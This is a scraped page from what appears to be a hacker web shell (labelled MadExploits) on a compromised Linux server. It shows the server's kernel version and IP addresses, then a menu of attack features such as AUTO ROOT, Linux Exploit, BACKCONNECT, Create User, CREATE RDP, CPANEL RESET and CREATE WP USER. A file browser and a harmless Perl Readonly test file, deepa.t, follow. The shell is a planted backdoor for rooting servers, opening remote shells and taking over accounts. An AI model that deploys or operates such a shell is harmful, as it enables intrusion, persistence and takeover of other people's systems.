Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.21.46.13
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Readonly-1.03 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
array.t
2
KB
-rw-r--r--
deepa.t
1.18
KB
-rw-r--r--
deeph.t
1.23
KB
-rw-r--r--
deeps.t
1.72
KB
-rw-r--r--
docs.t
2.2
KB
-rw-r--r--
export.t
186
B
-rw-r--r--
hash.t
1.64
KB
-rw-r--r--
readonly.t
2.19
KB
-rw-r--r--
reassign.t
3.03
KB
-rw-r--r--
scalar.t
1.28
KB
-rw-r--r--
tie.t
603
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : deepa.t
#!/usr/bin/perl -I.. # Test Array vs Array1 functionality use strict; use Test::More tests => 13; # Find the module (1 test) BEGIN {use_ok('Readonly'); } sub expected { my $line = shift; $@ =~ s/\.$//; # difference between croak and die return "Modification of a read-only value attempted at " . __FILE__ . " line $line\n"; } use vars qw/@a1 @a2/; my $m1 = 17; # Create (2 tests) eval {Readonly::Array @a1 => (\$m1, {x => 5, z => [1, 2, 3]})}; is $@ => '', 'Create a deep reference array'; eval {Readonly::Array1 @a2 => (\$m1, {x => 5, z => [1, 2, 3]})}; is $@ => '', 'Create a shallow reference array'; # Modify (10 tests) eval {$a1[0] = 7;}; is $@ => expected(__LINE__-1), 'Modify a1'; eval {$a2[0] = 7;}; is $@ => expected(__LINE__-1), 'Modify a2'; eval {${$a1[0]} = "the";}; is $@ => expected(__LINE__-1), 'Deep-modify a1'; is $m1 => 17, 'a1 unchanged'; eval {${$a2[0]} = "the";}; is $@ => '', 'Deep-modify a2'; is $m1 => 'the', 'a2 modification successful'; eval {$a1[1]{z}[1] = 42;}; is $@ => expected(__LINE__-1), 'Deep-deep modify a1'; is $a1[1]{z}[1] => 2, 'a1 unchanged'; eval {$a2[1]{z}[2] = 42;}; is $@ => '', 'Deep-deep modify a2'; is $a2[1]{z}[2], 42, 'a2 mod successful';
Close